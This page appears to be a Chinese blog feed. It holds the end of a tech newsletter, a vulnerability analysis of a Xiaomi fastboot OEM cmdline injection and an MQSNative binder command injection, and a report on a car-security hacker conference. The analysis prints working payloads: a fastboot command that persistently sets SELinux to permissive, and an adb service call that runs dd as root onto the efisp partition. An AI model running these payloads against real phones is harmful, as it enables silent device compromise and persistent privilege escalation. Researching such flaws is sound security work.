这个实验充分说明了，大模型的表现（智能程度）首先由训练材料决定：训练的语料越多，表现越好，比如 Python 的语料遍地都是，大模型因此极其擅长解决 Python 问题；训练的语料越少，大模型表现就越差，简直跟智障一样，没什么用处。

那么，一个让人好奇的问题就来了：如果某种冷门语言没有语料，但有一本很详尽的《使用手册》，我们让大模型学习这本手册，它是否就能学会这种冷门语言编程呢？

MAI-Image-2

本周，微软公司发布了自家的图像生成模型 MAI-Image-2。

这个模型生成的图像质量非常高，有评论认为，目前仅次于谷歌的 nano-banana-2。

微软开放了网站 MAI Playground（下图），现在可以免费生成图片。

我试用后，图像质感确实很好，非常逼真。比如，一只狗在海里骑自行车。

但是，它的使用限制很多：（1）有争议的、可能冒犯的图片，都会拒绝生成；（2）每天的免费额度是15张，每次生成的间隔时间是30秒；（3）它只能生成长宽比 1:1 的图片，其他分辨率都不支持；（4）不提供图像编辑和加工，只能用来"文生图"。

如果你需要通过文本生成高质量图片，可以试试它。

科技动态

1、可玩的封面

红牛公司推出了一本纸质的游戏杂志《GamePop》。

它的封面有一个可以玩的"俄罗斯方块"，是世界首本封面可以玩游戏的书。

奥秘就是封面里面，嵌入了一块非常薄的柔性电路板。

这块板配备了180个 RGB LED 灯、7个电容式触摸按钮、一颗32位 ARM 芯片。

它还包含一块可充电电池，可以通过 Type C 充电。

可惜的是，这个封面是限量版，不公开出售。它得到了俄罗斯方块公司的官方授权，全球仅发行150套，每套均有独立编号。

2、收费的真人客服

企业都不喜欢提供真人的电话客服，因为成本很高，更希望改成机器应答的电话客服。

惠普公司想出了一个点子，将用户往机器客服赶。

用户打惠普的客服电话，会听到一段语音提示，要你访问官网自己去寻找答案。如果你坚持要真人客服，就要在线等待15分钟。

如果中途挂了电话，再打就需要重新等待15分钟。系统还会分别在第5、第10和第13分钟提醒你，可以访问网站或发邮件联系。

虽然这种做法很可恶，但未来可能成为常态：免费就只有 AI 客服或机器人客服，额外付费才有真人客服。

3、飞盘的玩法

怎样扔飞盘，才能又快又远？

一个美国的物理学家，找了几十个学生进行实验，使用不同手势和角度扔出飞盘。他测量了飞行速度和扭矩，把结果写成了论文。

他发现，将拇指放置在距飞盘外缘约3厘米的位置，可以获得平均转速和初始速度的最佳结果。

他还发现，转速与初始速度存在线性相关，转速越高，初始速度也越高。

所以，下次玩飞盘的时候，你要放对拇指的位置，然后用足力气，反手甩出，就可以取得最佳结果。

文章

1、MkDocs 的缓慢崩溃（英文）

MkDocs 是著名的文档网站生成工具，但是主要贡献者之间有激烈矛盾，互相对抗，导致这个项目四分五裂。本文就梳理这件事。

2、大模型预测咖啡散热（英文）

作者让各种大模型给出咖啡散热时间的公式，然后测量了实际的散热时间，得到了一个排行榜。

3、下一个 App 很可能是无头应用（英文）

如果我们未来都通过 AI 助手使用手机，那么各种 App 就不需要显示模块了（无头），只需向 AI 助手提供数据接口。

4、网页前端数据压缩的一种方法（英文）

本文介绍如何在前端，通过 canvas（画布）将数据压缩成一张图片。

5、Ruby 是构建 AI 应用的最佳语言（英文）

作者使用 Python、JavaScript、Ruby 三种语言写一个 AI Agent，比较后认为 Ruby 写 AI 应用最方便。

6、古罗马的混凝土建筑（英文）

古罗马人发现了混凝土，学会了用它浇筑建筑物。结果就是，古罗马建筑有古代最大的室内面积，并且非常坚固，保留到了今天。

工具

1、proxychains-rs

proxychains4 的 Rust 实现，指定某个进程走代理链。（@tianrking 投稿）

2、Flare Stack Blog

一个基于 Cloudflare Worker 的博客系统，集成 D1、R2、KV、Workflow 等服务。（@du2333 投稿）

3、Tunelo

一行命令将本地服务暴露到公网，只需要单个 4MB 二进制文件，使用 QUIC 协议。（@jiweiyuan 投稿）

4、ReadAny

桌面端 + 安卓端的电子书阅读工具，自带 AI 功能、语音朗读和多端同步。（@codedogQBY 投稿）

5、RaTeX

纯 Rust 实现的 KaTeX 兼容的数学渲染引擎，原生解析、排版 LaTeX 数学公式，支持各种环境。（@erweixin 投稿）

6、Work Review

开源的 Win/Mac 桌面应用，在后台持续记录当天使用过的应用、访问过的网站等，便于整理成个人的工作轨迹。（@wm94i 投稿）

7、Valdi

SnapChat 发布的 UI 框架，可以用类似 React 的语法编写组件，然后编译成 iOS、Android 和 macOS 的原生应用。

8、Npflared

架设私有 NPM 镜像的工具，适合企业用来提供内部的 JS 软件包。

9、Chokidar

一个 Node.js 模块，用来监听文件系统的各种事件（新增、删除、编辑等），比原生的 fs.watch / fs.watchFile 功能强。

AI 相关

1、微信的龙虾接口

微信官方本周发布了龙虾接口，AI 机器人可以向微信发消息了。

很多项目利用这个接口做二次开发，便于各种 Bot 和 Agent 网关的接入。

wechat-rs-sdk（@tianrking 投稿）
WeChatBot（@jiweiyuan 投稿）
WeClaw（@idoubi 投稿）
WeChat-Channel（@nanbingxyz 投稿）

2、AI CLI Complete Notify

跨平台桌面应用，AI 命令行任务（Claude code/Codex/Gemini）完成后，发出任务完成提醒，支持各种渠道（飞书/钉钉/企微 Webhook、Telegram、邮件、桌面/声音提示）。（@ZekerTop 投稿）

3、Claude Config Manager

macOS 的 Claude 资源（Skills、MCP、Agent）桌面管理工具，提供一个图形化的中央控制台。（@Daydayoneup 投稿）

4、TrustClaw

龙虾 OpenClaw 的修改版，尽量消除代码的风险点。

资源

1、Project N.O.M.A.D.

一个 Linux 应用，集成了各种人类知识（维基百科、全球地图、在线课程、本地 AI 助手）等等，用于在断网时查阅。（@15x3 投稿）

2、用于数据分析的 AI Coding Agent（英文）

著名开发者 Simon Willison 的培训班讲课资料，通过 AI 工具进行数据分析，有详细步骤。

3、TypeScript 简洁之书

一本开源的 TypeScript 教程，有中文版。

图片

1、苹果壁纸彩蛋

苹果公司最近发布了新笔记本 MacBook Neo，跟以前一样，配一张特别的壁纸。

壁纸里面嵌入了产品名，以前的壁纸也有这个彩蛋。

iMac

MacBook Pro

iPad Air

MacBook Air

iPad Mini

iPad Pro

1、儿童死亡率

现代人很难想象的是，人类历史的大部分时间里，儿童死亡率（在成年前死亡）一直接近50%。

上图中，红线就是婴儿死亡率，一直稳定在50%左右。直到19世纪后期，才开始快速下降。

2020年，全球平均婴儿死亡率是4.3%，最低的国家已经达到了0.3%。

文摘

1、别变成机器

我最近看到一句话："只有奴隶才通过生产力来量化自身的存在价值。"

是啊，生产力越高，奴隶越有价值。

这让我想到，如今的社交媒体上充斥着大量的奋斗文化，许多人展示自己是多么努力在提高个人生产力。

在我看来，这就是将自己跟机器做比较。大家认定，如果能像机器一样，接收指令并高效地完成某个目标，自己就越有价值，就能取得人生成功。

社交媒体上，这种"奋斗文化"有很多表现形式：（1）你还不够努力。（2）你得早上五点起床。（3）你得第一个到，最后一个走。

这种文化的背后，就是要求人变成机器。

机器确实很高效，但有一个问题：它是刚性的，以既定的模式和线性速度运转，无法自动适应环境变化，也无法学习游戏规则。

你不是机器，你是人。你的特点应该是灵活应变，快速适应。你不要追求极致的努力，而是要找到最有价值的解决方案。你要专注于真正重要的因素：速度、效率或质量，不要迷恋枯燥乏味的工作。

言论

1、

我们创造了一个文明，其中最重要的元素都深深地依赖于科学技术，但是我们还让科学技术变得如此难懂。这会带来灾难，我们可能暂时侥幸逃脱，但迟早，这种无知和权力的易燃混合物会爆炸。

-- 卡尔·萨根

2、

巴黎以前总是堵车，市长想出一个办法，大幅减少停车位，后来果然少有人开车了。

-- CNN

3、

一项研究发现，远程教学下，外形出众学生的作业成绩，要比面对面教学时更低。

-- 《经济学快报》

4、

这些年对我影响最大的事情，就是我变成了一个"白天型"的人。

我以前经常熬夜，有时会到天亮。最近五年，我强迫自己养成早起的习惯。现在，我的生活都在白天，亲眼看到黎明和黄昏，让我感到心安，生命与自然循环和谐一致。

-- 《成为一个白天生活的人》

5、

AI 很擅长将清晰的想法转化为可运行的代码。真正耗时的是弄清楚我到底想开发什么。

-- lustin.fr

往年回顾

如何阻止 AI 爬虫（#343）

一周是一年的2%（#293）

与孔子 AI 聊天（#243）

前端与后端，谁更难？（#193）

（完）

Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi

作者: 纯情
时间: 2026-04-15
分类:
评论

Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi

Swing

2026-03-09

SecurityResearch

Qualcomm, Xiaomi, security

Preempted: From ADB Service Call to Bootloader Unlock on Xiaomi

MQSNative 提权 + ABL Cmdline 注入 —— 小米三八解锁节漏洞分析

TL; DR

3月9号，也就是今天似乎已经热更新完了，我没有验证。为了避免白下，于是挑了一个看起来比较老的 ROM ^[1] ，解包过程不赘述了。直接开始分析涉及到的其中两个漏洞

Fastboot OEM Inject 可以注入cmdline 启动参数，将 selinux 设置为宽容模式
MIUI MQSNative Binder 提权漏洞，也是一个命令注入，可以通过adb获取高权限，前提 selinux 已经设置为宽容模式

另外这俩漏洞分析由我和 @MG1937^[2] 共同完成

Fastboot OEM cmdline 注入

这个漏洞是 ABL 的漏洞，二进制文件在 nezha_global_images_OS3.0.9.0.WPAMIXM_16.0/images/abl.elf

通过 binwalk 层层解压，最后用 7z 解压一个 decompressed.bin.7z 得到一个 LinuxLoader.efi

Payload :

1	fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive

以上述这个 Payload 展开分析：

USB -> Fastboot 协议

Fastboot 协议通过 USB bulk transfer 发送原始命令字符串：

1	USB TX: "oem set-gpu-preemption 0 androidboot.selinux=permissive"

LinuxLoader.efi 的 fastboot command dispatch loop 遍历 g_OemCmdTable[30] (0xCAC08)，对每个 entry 做前缀匹配。匹配到 index 14：

.data:00000000000CACE8                 DCQ aOemSetGpuPreem     ; "oem set-gpu-preemption"
.data:00000000000CACF0                 DCQ CmdOemSetGpuPreemptionValue
.data:00000000000CACF8                 DCQ aOemDeviceInfo      ; "oem device-info"
.data:00000000000CAD00                 DCQ CmdOemDevinfo

调用时 arg 指针指向匹配前缀之后的部分：

完整命令: "oem set-gpu-preemption 0 androidboot.selinux=permissive"
.^
arg 指向这里
arg = " 0 androidboot.selinux=permissive"
↑ 注意开头有一个空格

CmdOemSetGpuPreemptionValue 执行

AsciiStrnCpyS(v703, "Set GPU HW Preemption: ", 64);// Resp[0x40] = "Set GPU HW Preemption: "
AsciiStrnCpyS(v702, " msm_kgsl.preempt_enable=", 256);// GpuPreemptionValue[0x100] = " msm_kgsl.preempt_enable="
while ( AsciiStrLen(v331) && *v331 == 0x20 )  // if (arg[Pos] == ' ') { arg++; Pos--; } else break;
++v331;

此刻栈上：

1 2	GpuPreemptionValue: [' ','m','s','m','_','k','g','s','l','.','p','r','e','e','m', 'p','t','_','e','n','a','b','l','e','=','\0', ... 0x100 bytes]

前导空格过滤循环 (0x5F7DC–0x5F7F8)

// arg = " 0 androidboot.selinux=permissive"
//        ^

0x5F7E0  AsciiStrLen(arg)    → 33    // 非零，继续
0x5F7E8  LDRB W8, [X19]              // W8 = *arg = 0x20 (空格)
0x5F7EC  CMP  W8, #0x20              // 是空格？是
0x5F7F0  B.NE done                   // 不跳转
0x5F7F4  ADD  X19, X19, #1           // arg++ 跳过这个空格
0x5F7F8  B    loop

// 第二次迭代:
// arg = "0 androidboot.selinux=permissive"
//        ^
0x5F7E8  LDRB W8, [X19]              // W8 = *arg = 0x30 ('0')
0x5F7EC  CMP  W8, #0x20              // 是空格？不是
0x5F7F0  B.NE done                   // ← 跳出循环

过滤后：arg = "0 androidboot.selinux=permissive"
循环在遇到第一个非空格字符 ‘0’ 后立即退出。字符串中间的空格 “0 androidboot…” 完全未被检查。

1
2

v336 = AsciiStrLen(v331);                     // AsciiStrLen(arg) - get length of user input (with embedded spaces)
AsciiStrnCatS(GpuPreemptionValue, 256, v331, v336);// VULNERABILITY: AsciiStrnCatS(GpuPreemptionValue, 0x100, arg, len) -

拼接完后的 GpuPreemptionValue 为

1
2

GpuPreemptionValue = " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive\0"
←──────────────────── 58 字节 ───────────────────────→

最后应该是写入 UEFI NVRAM里了

@0x5F818  X20 = gRT_ptr->SetVariable        // offset 0x58 in EFI_RUNTIME_SERVICES
// 即 SetVariable 函数指针

@0x5F828  AsciiStrLen(GpuPreemptionValue)    → 58

@0x5F838  gRT->SetVariable(
L"GpuConfiguration",              // VariableName (Unicode)
&gOemConfigVariableGuid,          // VendorGuid @ 0xCB3B4
EFI_VARIABLE_NON_VOLATILE |       // Attributes = 7
EFI_VARIABLE_BOOTSERVICE_ACCESS |
EFI_VARIABLE_RUNTIME_ACCESS,
58,                               // DataSize
" msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
)

payload 已持久化到 UEFI NVRAM。 NON_VOLATILE 意味着：

重启不丢失
恢复出厂设置不清除（factory reset 只擦 userdata/cache 分区，不动 UEFI 变量）
刷机不一定清除（除非刷入的固件主动删除该变量）

Kernel 解析 cmdline

设备重启后，ABL 加载 kernel 之前调用 UpdateCmdLine() 构造完整的 kernel command lin

先试读取 GpuConfiguration 变量

xEF20  X8 = *gRT_ptr                       // 取 EFI_RUNTIME_SERVICES*
0xEF2C  X0 = L"G"                           // 短字符串优化，实际是 L"GpuConfiguration"
0xEF34  X1 = &gOemConfigVariableGuid
0xEF3C  X2 = 0                              // Attributes = NULL
0xEF40  X8 = gRT->GetVariable               // offset 0x48
0xEF44  BLR X8                              // 调用 GetVariable

返回: EFI_SUCCESS (0)
输出 buffer 内容:
" msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"

计算长度并追加到 cmdline (0xEF68–0xEF94)

0xEF68  X0 = &GpuCmdLine buffer             // 指向 GetVariable 输出
0xEF70  AsciiStrLen(GpuCmdLine)     → 58
0xEF78  AsciiStrnLenS_0x100(58)             // 边界检查 ≤ 0x100，通过

0xEF94  AppendToCmdLine(
cmdline_dst,                      // 最终 kernel cmdline buffer
GpuCmdLine,                       // " msm_kgsl.preempt_enable=0 androidboot.selinux=permissive"
58                                // 长度
)

无任何校验，直接拼接到 kernel command line。

这样当系统启动后，init 进程读取该 prop，将 SELinux 设为 permissive 模式

SELinux permissive 意味着：

所有 SELinux MAC 策略不再强制执行，只审计记录
任何进程可以访问任何文件、socket、设备节点
ADB shell 可以直接 su 而不被 SELinux 阻止
配合其他提权漏洞（如 MQSNative service call）可直接获得无约束 root

一个简单的流程


┌──────────────┐     写入      ┌─────────────────────┐
│  fastboot     │─────────────→│  UEFI NVRAM          │
│  oem 命令     │              │  GpuConfiguration    │
└──────────────┘              │  NON_VOLATILE        │
└──────────┬──────────┘
│ 每次启动读取
┌──────────▼──────────┐
│  UpdateCmdLine()     │
│  → kernel cmdline    │
│  → SELinux permissive│
└─────────────────────┘
│
每次开机自动生效，直到:
1. fastboot oem set-gpu-preemption 0  (覆盖为正常值)
2. UEFI 变量被手动清除
3. 重刷完整固件（不一定清除 NVRAM）

一次注入 = 永久 SELinux 降级。用户无感知，设置界面仍显示 “Enforcing”（因为 UI 读的是运行时状态，而该注入在 init 早期就已生效）。

MIUI MQSNative Binder Privilege Escalation

这个漏洞涉及到的 Binder 服务是 MIUI MQSNative。解包后通过朴实无华的 grep 命令可以找到两个二进制程序

./system_ext_extracted/bin/hypsys_system
./system_ext_extracted/lib64/miui.mqsas.native-cpp.so

另外 grep 到一个 selinux 的配置

1	./system_ext_extracted/etc/selinux/system_ext_service_contexts:14:miui.mqsas.IMQSNative u:object_r:mqsasd_service:s0

进一步查找可以知道访问该服务的核心域 (Domains)有如下，

updater:
- 对应的 App: 通常是小米官方的“系统更新” (Updater) 应用。
- 权限: 这个 App 运行在 updater 域中，显然它需要调用 mqsasd 来执行某些系统维护任务（比如写入 Persist 文件或运行特定命令）。
system_server:
- 对应的组件: Android 系统的核心进程（system_server）。
- 含义: 系统服务（如 ActivityManagerService 或小米自定义的 Framework 服务）可以自由访问此接口。
hypsys_ssi_client:
- 对应的组件: 这是一个通用的客户标签。我们需要找出哪些进程被标记为 hypsys_ssi_client。
- 推测: 通常是一些负责系统稳定性监控、性能优化的系统级组件。

~~因此正常的 adb shell 应该也是访问不到这个Binder的~~，

adb shell 是能访问到这个BInder的，但是普通App权限应该不能（所以大概率不会被某XX利用）接着分析 MQSNative Binde

在 ./system_ext_extracted/etc/init/hypsys_system.rc init 的配置文件中可以看到, MQSNative Binder 服务以 root 权限运行

$ cat ./system_ext_extracted/etc/init/hypsys_system.rc |grep hypsys_system -A 10
service hypsys_system /system_ext/bin/hypsys_system
user root
group system root cache log everybody product_hyperengine
disabled
socket mqsasd stream 0660 system system
socket mqsasd_pr dgram 0666 system system

MQSNative Binder 注册

MQSNative Binder 的注册在 /system_ext/bin/hypsys_system main 函数里能看到

...
// 0x9b680-0x9b724
v41 = (MQSNativeDaemon *)operator new(0x30uLL);
MQSNativeDaemon::MQSNativeDaemon(v41);
android::defaultServiceManager(&serviceManager);
// vtable+48 = IServiceManager::addService
result = serviceManager->vptr->addService(
serviceManager,
descriptor,    // "miui.mqsas.IMQSNative" (String16)
v41,           // MQSNativeDaemon* (作为 IBinder)
0,             // allowIsolated = false
8              // dumpPriority = PRIORITY_DEFAULT
);

main 函数主要按以下顺序完整注册任务

+-------------------------------------------------------+
|                main() in hypsys_system                |
+-------------------------------------------------------+
|
v
+-------------------------------------------------------+
| [Step 1] HypSysSsi (AIDL NDK API)                     |
|  - Create HypSysSsiImpl                               |
|  - AServiceManager_addService("...IHypSysSsi/default")|
+-------------------------------------------------------+
|
v
+-------------------------------------------------------+
| [Step 2] BnHypSysSsiIntl (AIDL NDK API)               |
|  - Create BnHypSysSsiIntl                             |
|  - AServiceManager_addService("...IHypSysSsiIntl/...")|
+-------------------------------------------------------+
|
v
+-------------------------------------------------------+
| [Step 3] MQSNativeDaemon (Legacy Binder API)          | <--- 我们所关注的服务
|  - operator new(0x30)                                 |
|  - MQSNativeDaemon::MQSNativeDaemon()                 |
|  - android::defaultServiceManager()                   |
|  - IServiceManager::addService("miui.mqsas.IMQSNative")|
+-------------------------------------------------------+
|
v
+-------------------------------------------------------+
| [Step 4] ABinderProcess_startThreadPool()             |
|  - 启动子线程处理 Binder 请求                         |
+-------------------------------------------------------+
|
v
+-------------------------------------------------------+
| [Step 5] ABinderProcess_joinThreadPool()              |
|  - 主线程加入线程池，开始循环监听请求                 |
+-------------------------------------------------------+

onTransact 分派

BnMQSNative::onTransact 位于 ./system_ext_extracted/lib64/miui.mqsas.native-cpp.so 依赖库里的 0xC0B4

其是一个包含22 个case 的switch 大函数体，映射了 22 个AIDL 的接口方法，其中公开payload 中用到的是 21 这个

公开的payload是

adb shell service call miui.mqsas.IMQSNative 21 \
i32 1 s16 "dd"                                          \
i32 1 s16 "if=/data/local/tmp/gbl of=/dev/block/by-name/efisp" \
s16 "/data/mqsas/log.txt"                               \
i32 60

其对应的伪代码为如下

case 0x15u:  // captureLogByRunCommand - CRITICAL VULNERABILITY
readStatus = data->readString16Vector(&cmds_vec);
if (readStatus == 0) {
readStatus = data->readString16Vector(&args_vec);
if (readStatus == 0) {
readStatus = data->readString16(&logFilePath);
if (readStatus == 0) {
readStatus = data->readInt32(&timeout);
if (readStatus == 0) {
// 无任何权限检查，直接调用虚函数
this->vptr->captureLogByRunCommand(
this, cmds_vec, args_vec, logFilePath, timeout,
&call_status, &call_status_msg
);
}
}
}
}

其调用的功能是 captureLogByRunCommand

我们简单映射一下ADB命令和 Parcel 参数的映射结果如下

Parcel 数据	反序列化调用	含义
`i32 1` + `s16 "dd"`	`readString16Vector(&cmds)`	命令向量：size=1, [“dd”]
`i32 1` + `s16 "if=... of=..."`	`readString16Vector(&args)`	参数向量：size=1, [“if=/data/local/tmp/gbl of=/dev/block/by-name/efisp”]
`s16 "/data/mqsas/log.txt"`	`readString16(&logFile)`	日志文件路径
`i32 60`	`readInt32(&timeout)`	超时秒数

captureLogByRunCommand -> miui::mqsas::BpMQSNative::captureLogByRunCommand 最后结果就是：

任意命令+参数：captureLogByRunCommand 接受任意命令名和参数，无白名单/黑名单过滤

changelog

v2: 修复了一些 selinux 的错别字
v1: 更改了错误说法，其实 ·adb shell· 是可以访问到小米 MQSNative Binder 的

Reference link

1.https://bn.d.miui.com/OS3.0.9.0.WPAMIXM/nezha_global_images_OS3.0.9.0.WPAMIXM_20260210.0000.00_16.0_global_e160067725.tgz↩
2.https://github.com/MG1937↩

2026首届汽车安全白帽黑客大会圆满收官，共筑车联网安全新生态

作者: 纯情
时间: 2026-04-15
分类:
评论

3月13日，国内首届汽车安全白帽黑客大会在上海圆满收官。本次大会在普陀区科委、上海车联网协会的指导下，由泽鹿安全、谈思实验室/谈思汽车联合主办，并由专注汽车安全的太初众测平台与2025年五支车联网众测赛事冠军团队共同发起。

联合发起五支冠军团队颁奖亮相

在汽车安全白帽黑客大会开幕式的首个环节，聚光灯聚焦于台下默默守护汽车网络安全的白帽英雄团队，现场为2025年度太初众测平台车联网安全赛事的五支冠军团队颁发荣誉。安全脉脉战队、GEELY ZERO车联网安全实验室战队、梅花K战队、天问实验室战队以及SSSec实验室战队——五支冠军团队代表依次登台，接受属于他们的荣誉奖杯与掌声。

过去一年，这些技术团队积极参与车联网安全赛事，在实战中累计发现并协助修复众多安全漏洞。他们以扎实的专业功底和持续的攻防探索，深刻诠释了“以攻促防”的安全理念，成为智能网联汽车安全防线的坚实守护者。

开源精神五款自研工具发布

技术大会的含金量，在于硬核的内容。在“快闪式技术分享”环节，多位技术专家轮番登台，展示了自主研发的前沿利器，为与会者带来了实战中的“神兵利器”。

APK调用关系分析器（作者：饭饭）

白帽饭饭分享的APK调用关系分析工具，可类比为“代码路径导航系统”，能够精准解析安卓应用中的复杂调用链路，有效识别其中隐含的工程结构或非预期调用模式。

Flipper Zero CAN总线黑客工具(作者：陈冠男 / yichen)

白帽yichen展示了名为 flipper-canhack车载通讯协议检测工具。该工具通过硬件设计及集成，支持基于 UDS 协议对车辆 ECU 进行存活扫描、服务探测、DID 枚举及安全访问算法测试，从而实现了 UDS 诊断扫描流程的自动化。

机器人系统模糊测试框架(作者：王朋成)

王朋成教授分享了面向自动驾驶安全的ROS测试工具。该工具通过对ROS源码进行插桩编译，结合模糊测试技术，系统挖掘ROS系统中的漏洞与运行时错误，覆盖Topic、Service和Action等通信接口，并提供跨平台支持，大幅降低测试门槛与成本。

Vixl Debugger动态调试平台(作者：xiaowaaa)

白帽魏洪兵带来的VixlDebugger是一款面向Android/arm64的“真机接管式”动态调试引擎。其核心融合了Dobby Hook、Unicorn指令模拟与真机桥接执行技术，通过将目标进程入口注入Unicorn持续执行，并在系统调用时切回真机处理并回写结果，实现高度连续与可控的调试流程。

UDSP诊断测试平台(作者：江枫/BornChu)

白帽BornChu分享的 UDSP 是一款面向 UDS 安全测试的智能平台。该平台通过统一抽象驱动与协议封装，实现从发包到研判的自动化流程，支持多驱动（ZLG CAN / PCAN / DoIP）与多形态调用（CLI / GUI / MCP Server 等），具备自动分片、内置用例及可扩展研判能力，并集成交互式菜单与 AI 调用界面，大幅提升测试效率。

这场快节奏、高浓度的工具盛宴，为参会者的后续研究与实践提供了重要助力。

技术干货三个技术议题分享

工具是利器，思路是灵魂。在技术干货分享环节，多位专家带来了前沿议题的深度剖析，从思路到实践，为智能网联汽车安全检测与防护提供了全新视角。

《智能时代的漏洞狩猎：基于协议 Fuzzing 的 0day 漏洞挖掘》演讲人：李强

议题一专家李强以《智能时代的漏洞狩猎：基于协议Fuzzing的0day漏洞挖掘》为题，系统阐述了如何借助AI实现协议理解与测试用例生成的自动化闭环。其内容涵盖智能互联趋势分析、Fuzzing技术演进、协议Fuzzing实施方案、当前技术挑战突破路径，并结合整车Fuzzing实战案例进行验证，为自动化漏洞挖掘提供了系统方法论。

《面向智能网联汽车安全检测的自动化渗透测试关键技术探索》演讲人：吴竞航

议题二专家吴竞航以《面向智能网联汽车安全检测的自动化渗透测试关键技术探索》为题，系统阐述了车联网自动化渗透测试从人工到无人攻防的六阶段演进，深入剖析了智能网联汽车安全领域的三大挑战，并提出P-E-R智能体协同框架与三大核心技术，结合初期应用效果与未来展望，为车联网行业自动化渗透测试提供了关键方法论。

《智能座舱Android系统多维提权解析》

演讲人：杨木头o_O

议题三专家陈梦军以《智能座舱 Android 系统多维提权解析》为题，系统剖析了智能座舱面临的车联网攻击面，重点阐述了利用包管理漏洞绕过沙箱隔离、JDWP调试接口导致的System提权、以及SUID文件配置缺陷引发的后门风险，最终围绕构建主动式车联网安全防御体系提出了总结与展望。

实战对抗 30分钟CTF快闪赛

理论与实践并重，实战是检验技术能力的最佳场景。大会特别设立“快闪CTF挑战赛”，现场扫码报名、限时30分钟解题，题目覆盖车机渗透、逆向分析等多个方向，紧张刺激的竞技氛围充分展现了白帽黑客们的专业素养与临场应变能力。

经过激烈角逐，郑州软件职业技术学院一队（Sssec）、aaa、erkangkang、OnaKin9、cat、landscape分别荣获一、二、三等奖，并在晚宴环节接受颁奖。

漏洞悬赏 2026年新赛事新活动

在漏洞悬赏环节，泽鹿安全太初众测业务负责人、大会发起人赵金条登台，介绍了平台自去年上线以来取得的成果与最新动态。成果方面，平台已累计为21个品牌的67款车型完成众测；动态方面，则涵盖了线上靶场测试、线下私密项目众测以及赛事报名招募等多元活动。同时分享了平台对白帽子高涨参与热情的真切感触，并对白帽子们的辛勤付出与专业贡献致以诚挚谢意。她强调，白帽子不仅是平台生态的重要参与者，更是平台最珍视的同路人。

随后小米汽车安全中心回顾2025小米汽车守护活动现场，诚邀大家2026年持续关注汽车守护活动，理想汽车安全应急响应中心、小鹏汽车安全应急响应中心也发布了漏洞评级和奖励体系，最高单项赏金高达数万元。

与此同时，2026年”强网杯”全国网络安全挑战赛车联网赛道主办方代表、第二届CCF智能汽车大赛“汽车安全攻防赛”主办方代表，以及上海“铸盾2026″主办方代表相继发布活动预热和奖励，也标志着政、企、学、研多方联动的车联网安全众测生态正加速构建。

活动中间环节大会为2025“招商铸盾”智能网联汽车攻防赛的获奖团队，以及第九届“强网杯”车联网安全赛道的优胜团队颁发证书。数十支优秀战队在聚光灯下收获了现场观众的热烈掌声，他们的身影成为大会最亮丽的风景线。

守护不止让我们下次见

“ 安全不是一蹴而就的终点，而是永无止境的对抗。”

从2025年的冠军之路，到2026年的全新启航；从荣耀的加冕，到工具的分享；从思想的碰撞，到悬赏的开启——2026首届汽车安全白帽黑客大会虽已落幕，但

守护车联网安全的征程永无止境。

我们相信——

每一次漏洞的披露，都是防御的进步；

每一次攻防的突破，都是行业的积淀；

每一位白帽的成长，都是安全的未来。

资料获取

更多大会精彩内容与技术干货，欢迎关注“太初众测”官方公众号，后台留言“工具议题”，即可获取《2026首届汽车安全白帽黑客大会工具议题分享》PDF版本。